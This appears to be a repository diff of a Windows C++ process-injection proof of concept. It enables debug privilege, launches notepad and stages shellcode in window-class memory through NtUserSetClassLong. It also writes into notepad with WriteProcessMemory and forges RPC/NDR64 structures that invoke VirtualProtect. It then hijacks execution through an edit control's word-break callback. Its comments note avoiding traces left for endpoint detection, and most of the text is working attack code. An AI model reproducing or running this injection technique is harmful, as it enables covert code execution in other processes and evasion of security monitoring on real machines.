RPC_MESSAGE* RpcMsg0 = (RPC_MESSAGE*)tmpShellcode;
RPC_SERVER_INTERFACE* RpcInterfaceInfo0 =
(RPC_SERVER_INTERFACE*)(tmpShellcode + 0x88);
MIDL_SERVER_INFO* RpcSrvInfo0 =
(MIDL_SERVER_INFO*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE));
PVOID* DispatchTable0 =
(PVOID*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
sizeof(MIDL_SERVER_INFO));
MIDL_SYNTAX_INFO* SyntaxInfo0 =
(MIDL_SYNTAX_INFO*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID));
MIDL_STUB_DESC* StubDesc0 =
(MIDL_STUB_DESC*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) +
sizeof(MIDL_SYNTAX_INFO) * 2);
ULONG_PTR* FmtStrOffset0 =
(ULONG_PTR*)(tmpShellcode + 0x88 + sizeof(RPC_SERVER_INTERFACE) +
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) +
sizeof(MIDL_SYNTAX_INFO) * 2 + sizeof(MIDL_STUB_DESC));
NDR64_PROC_FORMAT* ProcStr0 =
(NDR64_PROC_FORMAT*)(tmpShellcode + 0x88 +
sizeof(RPC_SERVER_INTERFACE) +
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) +
sizeof(MIDL_SYNTAX_INFO) * 2 +
sizeof(MIDL_STUB_DESC) + sizeof(ULONG_PTR));
//_NDR_PROC_CONTEXT Ndr+Proc
DispatchTable0[0] = (PVOID)theNdrServerCallAllAddress;
RpcSrvInfo0->DispatchTable =
(SERVER_ROUTINE*)REMOTE_CLS_ADDRESS(DispatchTable0);
FmtStrOffset0[0] = (ULONG_PTR)REMOTE_CLS_ADDRESS(ProcStr0);
(SyntaxInfo0 + 1)->FmtStringOffset =
(USHORT*)REMOTE_CLS_ADDRESS(FmtStrOffset0);
RpcSrvInfo0->pSyntaxInfo =
(MIDL_SYNTAX_INFO*)REMOTE_CLS_ADDRESS(SyntaxInfo0);
RpcSrvInfo0->pStubDesc = (MIDL_STUB_DESC*)REMOTE_CLS_ADDRESS(StubDesc0);
RpcSrvInfo0->DispatchTable =
(SERVER_ROUTINE*)REMOTE_CLS_ADDRESS(DispatchTable0);
// RpcSrvInfo0->FmtStringOffset = (unsigned short*)0x1337;
RpcSrvInfo0->ProcString = (PFORMAT_STRING)0xAAAA;
RpcInterfaceInfo0->InterpreterInfo =
(MIDL_SERVER_INFO*)REMOTE_CLS_ADDRESS(RpcSrvInfo0);
RpcMsg0->RpcInterfaceInformation =
(RPC_SERVER_INTERFACE*)REMOTE_CLS_ADDRESS(RpcInterfaceInfo0);
RpcMsg0->ProcNum = 0;
RpcMsg0->RpcFlags = 0x1000;
// rpcmsg0->Handle的handle已经在上面设置为TheNotepadTagClsAddress了.所以要在TheNotepadTagClsAddress
// + 0x100的位置设置virtualprotect
*(ULONG_PTR*)(tmpShellcode + 0x100) =
(ULONG_PTR)VirtualProtect; // 为了通过Ndr64pServerUnMarshal最后的那一段
//*(ULONG_PTR*)(tmpShellcode + 0x160) = (ULONG_PTR)tempVar;
////为了通过Ndr64pServerUnMarshal最后的那一段
auto calcOffset = 0x88 + sizeof(RPC_SERVER_INTERFACE) +
sizeof(MIDL_SERVER_INFO) + sizeof(PVOID) +
sizeof(MIDL_SYNTAX_INFO) * 2 + sizeof(MIDL_STUB_DESC) +
sizeof(ULONG_PTR) + sizeof(NDR64_PROC_FORMAT);
// auto remoteCallAddr = REMOTE_CLS_ADDRESS(tmpShellcode + calcOffset);
//*(ULONG_PTR*)(tmpShellcode + calcOffset) = remoteCallAddr;
// calcOffset += sizeof(ULONG_PTR);
/*
* https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/mulsyntx.cxx#L1152
if ( pParamFlags->IsIn ||
(pParamFlags->IsReturn && !pNdr64Flags->HasComplexReturn) ||
pParamFlags->IsPipe )
continue;
*/
std::vector<_NDR64_PARAM_FORMAT*> theParamTypeAddress;
// type的指针,这个type会读两次 **typeaddr
auto fnSetNdr64Param = [&]() {
static auto currentCopyCount = 0;
auto ndr64Param = (_NDR64_PARAM_FORMAT*)(tmpShellcode + calcOffset);
ndr64Param->Attributes.IsIn = true;
ndr64Param->Attributes.IsBasetype = true;
// auto typeAddress = tmpShellcode + calcOffset;
// theParamTypeAddress.push_back(typeAddress);
// ndr64Param->Type = (void*)REMOTE_CLS_ADDRESS(typeAddress);
ndr64Param->StackOffset = currentCopyCount * 4;
currentCopyCount += 1;
// 这个没用,因为不走IsSimpleRef,simpleref那段内存是read only没办法赋值
// https://github.com/ufwt/windows-XP-SP1/blob/d521b6360fcff4294ae6c5651c539f1b9a6cbb49/XPSP1/NT/com/rpc/ndr64/srvcall.cxx#L694C31-L694C43
//*(char*)(typeAddress) = (char)_Ndr64SimpleTypeBUfferSizeMap::kint64;
// calcOffset += sizeof(_NDR64_PARAM_FORMAT);
theParamTypeAddress.push_back(ndr64Param);
calcOffset += sizeof(_NDR64_PARAM_FORMAT);
};
const auto virtualProtectParamSize = 8 * 2;
for (size_t i = 0; i < virtualProtectParamSize / 4; i++) {
fnSetNdr64Param();
}
auto paramsBuffer = tmpShellcode + calcOffset;
// 设置参数
RpcMsg0->Buffer = (void*)REMOTE_CLS_ADDRESS(paramsBuffer);
RpcMsg0->BufferLength = virtualProtectParamSize; // virtualprotect的参数
calcOffset += RpcMsg0->BufferLength;
// Make HandleType to 0
ProcStr0->Flags = 1;
ProcStr0->StackSize = virtualProtectParamSize;
ProcStr0->NumberOfParams = RpcMsg0->BufferLength / 4;
// const auto shellcodeAddress = tmpShellcode + calcOffset;
// memcpy(shellcodeAddress, payload, sizeof(payload));
// calcOffset += sizeof(payload);
// typedef LONG(NTAPI* FnNtUserMessageCall)(HWND hWnd, UINT msg, WPARAM
// wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);
// FnNtUserMessageCall NtUserMessageCall =
// (FnNtUserMessageCall)GetProcAddress(LoadLibrary(L"win32u.dll"),
// "NtUserMessageCall");
//
// 执行payload
// 1.给回调设置参数为我们的payload
// SendMessageA才生效,不知道为什么,否则会报60
auto result1 =
SendMessageA(hwndEdit, WM_SETTEXT, 0, (LPARAM)&TheNotepadTagClsAddress);
// auto result1 = NtUserMessageCall(hwndEdit, WM_SETTEXT, 0,
// (LPARAM)&TheNotepadTagClsAddress, 0, 0x2B1, 1);
// 等完全输入完毕
WaitForInputIdle(pi.hProcess, INFINITE);
result1 = PostMessageA(hwndEdit, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0);
// ***这里有个限制 除非我是英文系统 否则会被格式为Utf-8导致不能用**
// 我直接writememory让那个地方看起来像是英文系统
auto emh = (PVOID)SendMessage(hwndEdit, EM_GETHANDLE, 0, 0);
PVOID embuf;
SIZE_T numOfWrite;
ReadProcessMemory(pi.hProcess, emh, &embuf, sizeof(ULONG_PTR), &numOfWrite);
WriteProcessMemory(pi.hProcess, embuf, &TheNotepadTagClsAddress, 8,
&numOfWrite);
//WriteProcessMemory(pi.hProcess, (char*)((uint64_t)embuf + 8), payload,
// sizeof(payload), &numOfWrite);
const auto shellcodeAddress = (uint64_t)embuf + 8;
const auto virtualProtectReturnValue = shellcodeAddress;
const auto editShellcodeLocation = shellcodeAddress + sizeof(uint64_t);
auto tempCover = (uint64_t)editShellcodeLocation;
memcpy(paramsBuffer, &tempCover, 8);
buildVirtualProtectShellCode(editShellcode,
editShellcodeLocation,
theNdrServerCallAllAddress,
editShellcodeLocation,
virtualProtectReturnValue);
WriteProcessMemory(pi.hProcess, (char*)((uint64_t)editShellcodeLocation), editShellcode,
allocShellcodeSize, &numOfWrite);
// 这个地方是readonly的,如果直接传给virtualprotect会失败.所以也得放在编辑框里面
/*
auto oldProtectAddress = (uint64_t)REMOTE_CLS_ADDRESS(tmpShellcode +
calcOffset); tempCover = (uint64_t)tmpShellcode + calcOffset;
memcpy(paramsBuffer + 8 + 8 + 8, &oldProtectAddress, 8);
calcOffset += sizeof(uint64_t);
*(uint64_t*)tempCover = (uint64_t)REMOTE_CLS_ADDRESS((uint64_t)(tmpShellcode
+ calcOffset)); calcOffset += sizeof(uint64_t);
*/
for (auto ndr64Param : theParamTypeAddress) {
auto typeAddress = tmpShellcode + calcOffset;
ndr64Param->Type = (void*)REMOTE_CLS_ADDRESS(typeAddress);
calcOffset += sizeof(void*);
*(char*)(typeAddress) = (char)_Ndr64SimpleTypeBUfferSizeMap::kint64;
calcOffset += sizeof(char);
}
for (size_t i = 0; i < allocShellcodeSize; i++) {
NtUserSetClassLong(hwndMessage, i, tmpShellcode[i], FALSE);
}
// 2.设置I_RpcFreePipeBuffer为回调地址
// bp rpcrt4!I_RpcFreePipeBuffer
result1 = PostMessageA(hwndEdit, EM_SETWORDBREAKPROC, 0,
(LPARAM)theI_RpcFreePipeBufferAddr);
// 3. 激活
result1 = PostMessageA(hwndEdit, WM_LBUTTONDBLCLK, MK_LBUTTON, (LPARAM)0);
// 4. cleanup
SendMessage(hwndEdit, EM_SETWORDBREAKPROC, 0, (LPARAM)NULL);
// SendMessageA(hwndEdit, WM_SETTEXT, 0, (LPARAM)INJPATH);
// SendMessageW(hwndEdit, EM_SETWORDBREAKPROC, 0, (LPARAM)embuf.p);
return 0;
}
int main() { wWinMain(0, 0, 0, 0); }

3
shit.h Normal file
View File

@@ -0,0 +1,3 @@
#pragma once
#include "resource.h"

BIN
shit.ico Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 45 KiB

BIN
shit.rc Normal file

Binary file not shown.

31
shit.sln Normal file
View File

@@ -0,0 +1,31 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 16
VisualStudioVersion = 16.0.32802.440
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "shit", "shit.vcxproj", "{75C28BC1-B226-487A-9DAA-3E6C03894943}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{75C28BC1-B226-487A-9DAA-3E6C03894943}.Debug|x64.ActiveCfg = Debug|x64
{75C28BC1-B226-487A-9DAA-3E6C03894943}.Debug|x64.Build.0 = Debug|x64
{75C28BC1-B226-487A-9DAA-3E6C03894943}.Debug|x86.ActiveCfg = Debug|Win32
{75C28BC1-B226-487A-9DAA-3E6C03894943}.Debug|x86.Build.0 = Debug|Win32
{75C28BC1-B226-487A-9DAA-3E6C03894943}.Release|x64.ActiveCfg = Release|x64
{75C28BC1-B226-487A-9DAA-3E6C03894943}.Release|x64.Build.0 = Release|x64
{75C28BC1-B226-487A-9DAA-3E6C03894943}.Release|x86.ActiveCfg = Release|Win32
{75C28BC1-B226-487A-9DAA-3E6C03894943}.Release|x86.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {6175F5C8-522A-4C38-91B0-5B3462BF20F1}
EndGlobalSection
EndGlobal

163
shit.vcxproj Normal file
View File

@@ -0,0 +1,163 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Debug|x64">
<Configuration>Debug</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>16.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{75c28bc1-b226-487a-9daa-3e6c03894943}</ProjectGuid>
<RootNamespace>shit</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v142</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_WINDOWS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_WINDOWS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Windows</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClInclude Include="framework.h" />
<ClInclude Include="Resource.h" />
<ClInclude Include="rpc.h" />
<ClInclude Include="shit.h" />
<ClInclude Include="targetver.h" />
<ClInclude Include="teb_def.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="shit.cpp" />
<ClCompile Include="sunday.cpp" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="shit.rc" />
</ItemGroup>
<ItemGroup>
<Image Include="shit.ico" />
<Image Include="small.ico" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

58
shit.vcxproj.filters Normal file
View File

@@ -0,0 +1,58 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="源文件">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="头文件">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="资源文件">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClInclude Include="framework.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="Resource.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="shit.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="teb_def.h">
<Filter>源文件</Filter>
</ClInclude>
<ClInclude Include="rpc.h">
<Filter>源文件</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="shit.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="sunday.cpp">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="shit.rc">
<Filter>资源文件</Filter>
</ResourceCompile>
</ItemGroup>
<ItemGroup>
<Image Include="small.ico">
<Filter>资源文件</Filter>
</Image>
<Image Include="shit.ico">
<Filter>资源文件</Filter>
</Image>
</ItemGroup>
</Project>

777
shit_2.cpp Normal file
View File

@@ -0,0 +1,777 @@
// shit.cpp : 定义应用程序的入口点。
//
#include "framework.h"
#include "shit.h"
#include <windows.h>
#include <iostream>
#include "teb_def.h"
#include "rpc.h"
PVOID
SundaySearch_ByProcess(HANDLE ProcesHandle, char* pattern, PVOID address,
SIZE_T readSize);
PVOID
LookupTagClsAddressByProcess(HANDLE ProcessHandle) {
#ifdef _WIN64
#define START_ADDRESS (PVOID)0x00000000010000
#define END_ADDRESS (0x00007FF8F2580000 - 0x00000000010000)
#else
#define START_ADDRESS (PVOID)0x10000
#define END_ADDRESS (0x7FFF0000 - 0x10000)
#endif
typedef LONG(NTAPI * FnZwQueryVirtualMemory)(HANDLE, PVOID, int, PVOID,
SIZE_T, PSIZE_T);
static FnZwQueryVirtualMemory ZwQueryVirtualMemory =
(FnZwQueryVirtualMemory)GetProcAddress(LoadLibrary(L"ntdll.dll"),
"ZwQueryVirtualMemory");
if (!ZwQueryVirtualMemory) {
std::cerr << "ZwQueryVirtualMemory GetProcAddress failed: "
<< GetLastError() << std::endl;
return 0;
}
MEMORY_BASIC_INFORMATION MemoryBasicInfo = {0};
PVOID CurrentAddress = START_ADDRESS;
uint64_t TheTagClsAddress = 0;
SIZE_T BytesReturned = 0;
while (true) {
BOOLEAN ContinueEnum = FALSE;
RtlZeroMemory(&MemoryBasicInfo, sizeof(MemoryBasicInfo));
auto ntStatus = ZwQueryVirtualMemory(
ProcessHandle, CurrentAddress, 0, &MemoryBasicInfo,
sizeof(MEMORY_BASIC_INFORMATION), &BytesReturned);
if (ntStatus != 0) break;
do {
if (MemoryBasicInfo.State != MEM_COMMIT) {
break;
}
if (MemoryBasicInfo.Type != MEM_PRIVATE &&
MemoryBasicInfo.Type != MEM_MAPPED) {
break;
}
// 自己的是PAGE_READWRITE 别人的是PAGE_READONLY
if (MemoryBasicInfo.Protect != PAGE_READONLY) {
break;
}
TheTagClsAddress = (uint64_t)SundaySearch_ByProcess(
ProcessHandle, (char*)"13 37 CC A0 A0 68 75 6F 6A 69",
(UCHAR*)CurrentAddress, MemoryBasicInfo.RegionSize);
if (TheTagClsAddress != NULL) {
break;
}
} while (FALSE);
if (TheTagClsAddress != 0) {
break;
}
CurrentAddress = (PVOID)((ULONG_PTR)MemoryBasicInfo.BaseAddress +
MemoryBasicInfo.RegionSize);
}
return (PVOID)TheTagClsAddress;
}
void printHex(const char* name, const void* data, size_t size) {
printf("%s: ", name);
const unsigned char* byteData = (const unsigned char*)data;
for (size_t i = 0; i < size; ++i) {
printf("%02X ", byteData[i]);
}
printf("\n");
}
struct _NDR64_PARAM_FLAGS {
unsigned __int16 MustSize : 1;
unsigned __int16 MustFree : 1;
unsigned __int16 IsPipe : 1;
unsigned __int16 IsIn : 1;
unsigned __int16 IsOut : 1;
unsigned __int16 IsReturn : 1;
unsigned __int16 IsBasetype : 1;
unsigned __int16 IsByValue : 1;
unsigned __int16 IsSimpleRef : 1;
unsigned __int16 IsDontCallFreeInst : 1;
unsigned __int16 SaveForAsyncFinish : 1;
unsigned __int16 IsPartialIgnore : 1;
unsigned __int16 IsForceAllocate : 1;
unsigned __int16 Reserved : 2;
unsigned __int16 UseCache : 1;
};
typedef const void* PNDR64_FORMAT;
typedef struct _NDR64_PARAM_FORMAT {
void* Type;
_NDR64_PARAM_FLAGS Attributes;
unsigned __int16 Reserved;
unsigned __int32 StackOffset;
};
/*
.rdata:00007FFF3A2784E0 ?Ndr64SimpleTypeBufferSize@@3QBEB db 0 ; DATA XREF:
Ndr64ComplexStructBufferSize(_MIDL_STUB_MESSAGE *,uchar *,void const
*)+31B↑o .rdata:00007FFF3A2784E0 ;
Ndr64UnionBufferSize(_MIDL_STUB_MESSAGE *,uchar *,void const *)+B8↑o ...
.rdata:00007FFF3A2784E1 db 1
.rdata:00007FFF3A2784E2 db 1
.rdata:00007FFF3A2784E3 db 2
.rdata:00007FFF3A2784E4 db 2
.rdata:00007FFF3A2784E5 db 4
.rdata:00007FFF3A2784E6 db 4
.rdata:00007FFF3A2784E7 db 8
.rdata:00007FFF3A2784E8 db 8
*/
enum class _Ndr64SimpleTypeBUfferSizeMap {
kChar = 0,
kShort = 2,
kint32 = 4,
kint64 = 6
};
void PrivilegeEscalation() {
HANDLE hToken;
LUID luid;
TOKEN_PRIVILEGES tp;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
&hToken);
LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid);
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
tp.Privileges[0].Luid = luid;
AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
}
int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance, _In_ LPWSTR lpCmdLine,
_In_ int nCmdShow) {
PrivilegeEscalation();
// 创建notepad进程,泄露就泄露了 去他妈的
STARTUPINFO si = {sizeof(si)};
PROCESS_INFORMATION pi;
if (!CreateProcess(L"L:\\Windows\\system32\\notepad.exe", NULL, NULL, NULL,
FALSE, 0, NULL, NULL, &si, &pi)) {
std::cerr << "CreateProcess failed: " << GetLastError() << std::endl;
return 1;
}
// 等完全起来
WaitForInputIdle(pi.hProcess, INFINITE);
// 获取notepad进程中edit窗口的句柄
HWND hwndNotepad = FindWindow(L"Notepad", NULL);
HWND hwndEdit = FindWindowEx(hwndNotepad, NULL, L"Edit", NULL);
if (!hwndEdit) {
std::cerr << "FindWindowEx failed: " << GetLastError() << std::endl;
return 1;
}
// 注册一个带有额外类内存的窗口类
// https://learn.microsoft.com/en-us/windows/win32/winmsg/about-window-classes?redirectedfrom=MSDN
WNDCLASSEX wcex = {sizeof(wcex)};
wcex.lpfnWndProc = DefWindowProc;
wcex.cbClsExtra = wcex.cbWndExtra = 1024 * 64;
wcex.lpszClassName = L"CustomWindowClass";
wcex.hInstance = hInstance;
if (!RegisterClassEx(&wcex)) {
std::cerr << "RegisterClassEx failed: " << GetLastError() << std::endl;
return 1;
}
// 创建一个仅消息窗口
HWND hwndMessage =
CreateWindowExW(0, L"CustomWindowClass", NULL, 0, 0, 0, 0, 0,
HWND_MESSAGE, NULL, hInstance, NULL);
if (!hwndMessage) {
std::cerr << "CreateWindowEx failed: " << GetLastError() << std::endl;
return 1;
}
ShowWindow(hwndMessage, SW_SHOW);
UpdateWindow(hwndMessage);
#ifdef _WIN64
typedef LONG(NTAPI * FnNtUserSetClassLong)(HWND hWnd, INT Offset,
LONG64 dwNewLong, BOOL Ansi);
#else
typedef LONG(NTAPI * FnNtUserSetClassLong)(HWND hWnd, INT Offset,
LONG dwNewLong, BOOL Ansi);
#endif // _WIN64
FnNtUserSetClassLong NtUserSetClassLong =
(FnNtUserSetClassLong)GetProcAddress(LoadLibrary(L"win32u.dll"),
"NtUserSetClassLong");
if (!NtUserSetClassLong) {
std::cerr << "NtUserSetClassLong GetProcAddress failed: "
<< GetLastError() << std::endl;
return 1;
}
/*
typedef LONG(NTAPI* FnNtUserSetClassLongPtr)(HWND hwnd, INT offset, LONG_PTR
newval, BOOL ansi); FnNtUserSetClassLongPtr NtUserSetClassLongPtr =
(FnNtUserSetClassLongPtr)GetProcAddress(LoadLibrary(L"win32u.dll"),
"NtUserSetClassLongPtr");
if (!NtUserSetClassLongPtr) {
std::cerr << "NtUserSetClassLongPtr GetProcAddress failed: " <<
GetLastError() << std::endl; return 1;
}
*/
const char shitInput[] = {0x13, 0x37, 0xCC, 0xA0, 0xA0,
0x68, 0x75, 0x6f, 0x6a, 0x69};
// https://github.com/wine-mirror/wine/blob/1134834b7478632da9c60f36d4a7cf254729242c/dlls/win32u/class.c#L705
// offset = 0
for (size_t i = 0; i < sizeof(shitInput); i++) {
NtUserSetClassLong(hwndMessage, i, shitInput[i], FALSE);
}
// 通过查找TEB->Win32ClientInfo->phkCurrent结构下的AllocationBase来确定窗口内存的基址
// 只是缩小范围,其实不如直接virtualqueryex,我实在是不知道这里要怎么定位到notepad的地址.如果用win32
// api edr绝对有痕迹 这里就是用readmemory
auto TheTagClsAddress = LookupTagClsAddressByProcess((HANDLE)-1);
if (TheTagClsAddress == 0) {
std::cerr << "TheTagClsAddress failed: " << GetLastError() << std::endl;
return 1;
}
auto TheNotepadTagClsAddress = LookupTagClsAddressByProcess(pi.hProcess);
if (TheNotepadTagClsAddress == 0) {
std::cerr << "TheNotepadTagClsAddress failed: " << GetLastError()
<< std::endl;
return 1;
}
for (size_t i = 0; i < sizeof(shitInput); i++) {
NtUserSetClassLong(hwndMessage, i, 0x0, FALSE);
}
// 这个作者抄了这玩意
// https://modexp.wordpress.com/2020/07/07/wpi-wm-paste/
// https://github.com/odzhan/injection/blob/master/eminject/poc.c#L38
/*
